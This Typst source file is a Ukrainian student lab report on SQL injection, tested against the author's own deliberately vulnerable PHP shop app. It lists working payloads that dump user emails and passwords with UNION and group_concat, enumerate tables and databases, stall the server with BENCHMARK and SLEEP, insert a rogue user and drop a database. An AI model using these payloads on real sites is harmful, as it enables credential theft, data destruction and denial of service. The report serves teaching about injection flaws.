130 lines
9.8 KiB
Typst
130 lines
9.8 KiB
Typst
#import "@local/nure:0.1.0": *
|
||
|
||
#show: pz-lb.with(..yaml("doc.yaml"), title: [SQL-ІН'ЄКЦІЇ], worknumber: 2)
|
||
|
||
#v(-spacing)
|
||
|
||
== Мета роботи
|
||
Ознайомитися з вразливостями типу "ін’єкції", зокрема SQL-ін'єкції.
|
||
|
||
== Хід роботи
|
||
#v(-spacing)
|
||
|
||
Для виконання даної практичної роботи та для дослідження вразливостей, було написано PHP додаток,
|
||
що розміщено за URL: https://vulnerability.linerds.us/.
|
||
|
||
Спершу, будемо розглядати ін'єкції, що можна застосувати до поля "пошуку товару за назвою".
|
||
Перша ін'єкція дозволяє вивести всі товари, незалежно від назви.
|
||
`' OR 1=1 --`
|
||
#figure(image("1st_query.png"), caption: [Поле вводу даних для пошуку товару з введеним шкідливим запитом])
|
||
На даний момент, існує всього два товари, але у випадку, якщо їх буде більше -- можна буде отримати всі можливі товари з бази даних.
|
||
#figure(image("1st_res.png", width: 70%), caption: [Результат роботи шкідливого запиту (виведено всі товари)])
|
||
|
||
Далі, за допомогою наступної команди, виведемо паролі всіх користувачів з бази даних.
|
||
`' UNION select password, password, email from users;`
|
||
Можемо побачити, що дані користувача замінили собою дані товару.
|
||
Це стало можливим завдяки використанню погано написаного коду,
|
||
що дозволяє виводити неправильні типи даних та обирає їх не за назвою стовпця, а за індексом.
|
||
#figure(image("2nd_res.png", width: 50%), caption: [Дані користувача у вигляді товару])
|
||
|
||
Виконаємо наступну команду, щоб обрати предмет з id, що дорівнює 2.
|
||
`' or id=2; -- select item with Nth(2nd) id`
|
||
#figure(image("3_res.png", width: 50%), caption: [Товар з id = 2])
|
||
Як можемо побачити, нам справді повернувся предмет з id = 2. Цей функціонал не був задуманий розробниками,
|
||
а це означає, що можна робити виборку і за іншими параметрами, наприклад, за кількістю товарів на складі.
|
||
|
||
За допомогою запиту, наведеного нижче, робимо SQL-ін'єкцію з використанням UNION та group_concat.
|
||
Це дозволяє атакуючому (нам) вибрати всі потрібні стовпці та згрупувати їх в один.
|
||
`' UNION SELECT group_concat('email: ', email, ' passw: ', password), 1, 2 from users -- `
|
||
#figure(image("4_res.png", width: 50%), caption: [Продукт з конкатенованими даними користувача])
|
||
Використавші ці дані в формі логіну, можемо побачити, що вони є справжніми даними користувача.
|
||
#figure(image("4_login.png"), caption: [Форма логіну])
|
||
#figure(image("4_login_s.png"), caption: [Результат операції логін з отриманими даними])
|
||
|
||
Далі, спробуємо дістати з таблиці користувачів одного або більше з поштою, яка містить слово "admin".
|
||
`' UNION SELECT password, username, email from users where email like '%admin%'; -- `
|
||
#figure(image("5_res.png", width: 60%), caption: [Дані від акаунту адміністратора])
|
||
|
||
Використаємо вразливість форми і дізнаємось назви таблиць, що містяться в поточній базі даних.
|
||
Застосувавши наступний запит, отримуємо назви всіх таблиць.
|
||
`' union select TABLE_NAME,1,2 from INFORMATION_SCHEMA.TABLES; # `
|
||
#figure(image("6_res.png", width: 50%), caption: [Назви всіх таблиць в поточній базі даних])
|
||
|
||
Застосунок, що відповідає за логіку додатку та взаємодію з БД, використовує правило "oдна БД на окремого користувача".
|
||
Тож, виконавши запит, що наведений нижче, отримаємо назви всіх БД, а з цим і ID всіх користувачів додатку.
|
||
`' union select SCHEMA_NAME, 1,2 from INFORMATION_SCHEMA.SCHEMATA; # `
|
||
#figure(image("7_res.png", width: 50%), caption: [Назви всіх баз даних в поточній СУБД])
|
||
|
||
Далі, використовуючи схему з UNION SELECT, змусимо сервер виконувати складні обчислення, викликавши функцію
|
||
BENCHMARK і передавши в неї функцію шифрування.
|
||
`' union select BENCHMARK(500000, AES_DECRYPT(AES_ENCRYPT(REPEAT("a",3000), "key"), "key")), 2, 3; # `
|
||
Як можна побачити на рисунку нижче, сервер обчислював відповідь на запит трохи більше 50 секунд.
|
||
#figure(image("waiting_50s.png", width: 80%), caption: [Результат SQL ін'єкції на основі часу])
|
||
|
||
Бібліотека PDO та багато інших мають обмеження на обчислення декількох модифікуючих запитів одночасно.
|
||
Наприклад, при виклику методу query(SQL_QUERY) на об'єкті PDO, другий запит (той, що користувач передає після крапки з комою) не виконується.
|
||
Саме тому модифікуючи шкідливі запити є можливість робити тільки на тих формах, що використовують методифікуючі функції
|
||
бібліотеки PDO або інших. Наприклад, exec(SQL_INSERT|UPDATE|DELETE).
|
||
|
||
В даному випадку, була використана форма додавання товару в каталог.
|
||
По перше, можна виконати вставку користувача в базу даних за допомогою наступної команди.
|
||
`-1); insert into users(username, email, password) values ('hacker2222', 'mail\@hackerr.com' , 'pass'); -- `
|
||
#figure(image("8_query.png", width: 60%), caption: [Форма додавання товару з вставленим шкідливим запитом])
|
||
Відвідавши сторінку "Users", можна побачити, що нашого користувача було успішно додано.
|
||
#figure(image("8_res.png", width: 70%), caption: [Результат виконання шкідливого запиту])
|
||
|
||
Наступна команда змушує базу даних чекати 5 секунд.
|
||
`'1'); DO SLEEP(5); #`
|
||
#figure(image("9_res.png", width: 60%), caption: [Очікування відповіді від сервера протягом 5 секунд])
|
||
|
||
Запит, що наведено нижче видаляє базу даних для поточного користувача. ID для цієї бази даних знаходиться в кукі під ключем "user_id".
|
||
Після цього додаток перестає працювати. Для того, щоб він знову запрацював, треба видалити кукі для сайту, де він розташований.
|
||
Далі, для користувача створиться новий ID та нова база даних.
|
||
```3); drop database `6d3147fd-d529-4dfb-a2d8-036904283326`; ```
|
||
#figure(image("10_query.png"), caption: [Кукі, де зберігається ID користувача та шкідливий запит на видалення його бази даних])
|
||
#figure(image("10_res.png"), caption: [Результат видалення бази даних користувача])
|
||
// === Підготовка
|
||
// #lorem(150)
|
||
|
||
// === Виконання дослідження
|
||
// #lorem(300)
|
||
|
||
// === Підрахунок результатів
|
||
// #lorem(250)
|
||
|
||
== Висновки
|
||
Було проведено ознайомлення з вразливостями типу "ін’єкції", зокрема SQL-ін'єкціями.
|
||
Був розроблений веб-тренажер для ін'єкій мовою PHP, що демонструє потенціальну небезпеку.
|
||
Були проведені різні типи атак, включаючи атаки часом, екранування запиту, ін'єкції в параметри та використання UNION і group_concat.
|
||
|
||
// == Контрольні запитання
|
||
// #lorem(100):
|
||
// - #lorem(20);
|
||
// - #lorem(30);
|
||
// - #lorem(15);
|
||
// - #lorem(25);
|
||
// - #lorem(42);
|
||
// - #lorem(27).
|
||
|
||
#show: appendices_style
|
||
|
||
// = Quote
|
||
// #link("https://youtu.be/bJQj1uKtnus")[
|
||
// The art isn't the art, the art is never the art,
|
||
// the art is the thing that happens inside you when you make it and the feeling in the heart of the beholder.
|
||
// ]
|
||
|
||
|
||
// = Приклад звіту 1
|
||
// #v(-spacing)
|
||
// == Частина 1
|
||
// #lorem(100)
|
||
// == Частина2
|
||
// #lorem(200)
|
||
//
|
||
// = Приклад звіту 2
|
||
// #lorem(200)
|
||
//
|
||
// = Приклад звіту 3
|
||
// #lorem(200)
|